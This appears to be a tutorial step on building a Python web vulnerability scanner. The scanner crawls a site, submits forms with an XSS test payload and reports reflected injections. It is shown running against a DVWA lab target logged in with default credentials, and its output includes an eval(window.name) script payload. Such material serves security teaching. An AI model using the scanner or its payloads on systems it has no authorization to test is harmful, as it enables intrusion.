Automatically Discovering Vulnerabilities Using the Vulnerability Scanner
1. Modify the run_scanner method in the scanner class.
#!/usr/bin/env python
import requests
import re
from bs4 import BeautifulSoup
from urllib.parse import urljoin
class Scanner:
def __init__(self, url, ignore_links):
self.session = requests.Session()
self.target_url = url
self.target_links = []
self.links_to_ignore = ignore_links
def extract_links_from(self, url):
response = self.session.get(url)
return re.findall('(?:href=")(.*?)"', response.content.decode(errors='ignore'))
def crawl(self, url=None):
if url == None:
url = self.target_url
href_links = self.extract_links_from(url)
for link in href_links:
link = urljoin(url, link)
if "#" in link:
link = link.split("#")[0]
if self.target_url in link and link not in self.target_links and link not in self.links_to_ignore:
self.target_links.append(link)
print(link)
self.crawl(link)
def extract_forms(self, url):
response = self.session.get(url)
parsed_html = BeautifulSoup(response.content, features="lxml")
return parsed_html.findAll("form")
def submit_form(self, form, value, url):
action = form.get("action")
post_url = urljoin(url, action)
method = form.get("method")
inputs_list = form.findAll("input")
post_data = {}
for input in inputs_list:
input_name = input.get("name")
input_type = input.get("type")
input_value = input.get("value")
if input_type == "text":
input_value = value
post_data[input_name] = input_value
if method == "post":
return requests.post(post_url, data=post_data)
return self.session.get(post_url, params=post_data)
def run_scanner(self):
for link in self.target_links:
forms = self.extract_forms(link)
for form in forms:
print("[+] Testing form in " + link)
is_vulnerable_to_xss = self.test_xss_in_form(form, link)
if is_vulnerable_to_xss:
print("\n\n[***] XSS discovered in " + link + " in the following from")
print(form)
if "=" in link:
print("\n\n[+] Testing " + link)
is_vulnerable_to_xss = self.test_xss_in_link(link)
if is_vulnerable_to_xss:
print("[***] Discovered XSS in " + link)
def test_xss_in_link(self, url):
xss_test_script = "<sCript>alert('test')</scriPt>"
url = url.replace("=", "=" + xss_test_script)
response = self.session.get(url)
return xss_test_script in response.content.decode()
def test_xss_in_form(self, form, url):
xss_test_script = "<sCript>alert('test')</scriPt>"
response = self.submit_form(form, xss_test_script, url)
return xss_test_script in response.content.decode()
2. Test this new automatically vulnerability scanner.
#!/usr/bin/env python
import scanner
target_url = "http://10.0.0.45/dvwa/"
links_to_ignore = "http://10.0.0.45/dvwa/logout.php"
data_dict = {"username": "admin", "password": "password", "Login": "submit"}
vuln_scanner = scanner.Scanner(target_url, links_to_ignore)
vuln_scanner.session.post("http://10.0.0.45/dvwa/login.php", data=data_dict)
vuln_scanner.crawl()
vuln_scanner.run_scanner()
Following is the full test result.
root@kali:~/PycharmProjects/vulnerability_scanner# python3 vulnerability_scanner.py http://10.0.0.45/dvwa/dvwa/css/main.css http://10.0.0.45/dvwa/favicon.ico http://10.0.0.45/dvwa/instructions.php http://10.0.0.45/dvwa/setup.php http://10.0.0.45/dvwa/vulnerabilities/brute/ http://10.0.0.45/dvwa/vulnerabilities/exec/ http://10.0.0.45/dvwa/vulnerabilities/csrf/ http://10.0.0.45/dvwa/vulnerabilities/fi/?page=include.php http://10.0.0.45/dvwa/vulnerabilities/sqli/ http://10.0.0.45/dvwa/vulnerabilities/sqli_blind/ http://10.0.0.45/dvwa/vulnerabilities/upload/ http://10.0.0.45/dvwa/vulnerabilities/xss_r/ http://10.0.0.45/dvwa/vulnerabilities/xss_s/ http://10.0.0.45/dvwa/security.php http://10.0.0.45/dvwa/phpinfo.php http://10.0.0.45/dvwa/phpinfo.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 http://10.0.0.45/dvwa/about.php http://10.0.0.45/dvwa/instructions.php?doc=PHPIDS-license http://10.0.0.45/dvwa/instructions.php?doc=readme http://10.0.0.45/dvwa/instructions.php?doc=changelog http://10.0.0.45/dvwa/instructions.php?doc=copying http://10.0.0.45/dvwa/security.php?phpids=on http://10.0.0.45/dvwa/security.php?phpids=off http://10.0.0.45/dvwa/security.php?test=%22><script>eval(window.name)</script> http://10.0.0.45/dvwa/ids_log.php [+] Testing form in http://10.0.0.45/dvwa/setup.php [+] Testing form in http://10.0.0.45/dvwa/vulnerabilities/brute/ [+] Testing form in http://10.0.0.45/dvwa/vulnerabilities/exec/ [+] Testing form in http://10.0.0.45/dvwa/vulnerabilities/csrf/ [+] Testing http://10.0.0.45/dvwa/vulnerabilities/fi/?page=include.php [+] Testing form in http://10.0.0.45/dvwa/vulnerabilities/sqli/ [+] Testing form in http://10.0.0.45/dvwa/vulnerabilities/sqli_blind/ [+] Testing form in http://10.0.0.45/dvwa/vulnerabilities/upload/ [+] Testing form in http://10.0.0.45/dvwa/vulnerabilities/xss_r/ [***] XSS discovered in http://10.0.0.45/dvwa/vulnerabilities/xss_r/ in the following from <form action="#" method="GET" name="XSS"> <p>What's your name?</p> <input name="name" type="text"/> <input type="submit" value="Submit"/> </form> [+] Testing form in http://10.0.0.45/dvwa/vulnerabilities/xss_s/ [+] Testing form in http://10.0.0.45/dvwa/security.php [+] Testing http://10.0.0.45/dvwa/phpinfo.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 [+] Testing http://10.0.0.45/dvwa/instructions.php?doc=PHPIDS-license [+] Testing http://10.0.0.45/dvwa/instructions.php?doc=readme [+] Testing http://10.0.0.45/dvwa/instructions.php?doc=changelog [+] Testing http://10.0.0.45/dvwa/instructions.php?doc=copying [+] Testing form in http://10.0.0.45/dvwa/security.php?phpids=on [+] Testing http://10.0.0.45/dvwa/security.php?phpids=on [+] Testing form in http://10.0.0.45/dvwa/security.php?phpids=off [+] Testing http://10.0.0.45/dvwa/security.php?phpids=off [+] Testing form in http://10.0.0.45/dvwa/security.php?test=%22><script>eval(window.name)</script> [+] Testing http://10.0.0.45/dvwa/security.php?test=%22><script>eval(window.name)</script> [+] Testing form in http://10.0.0.45/dvwa/ids_log.php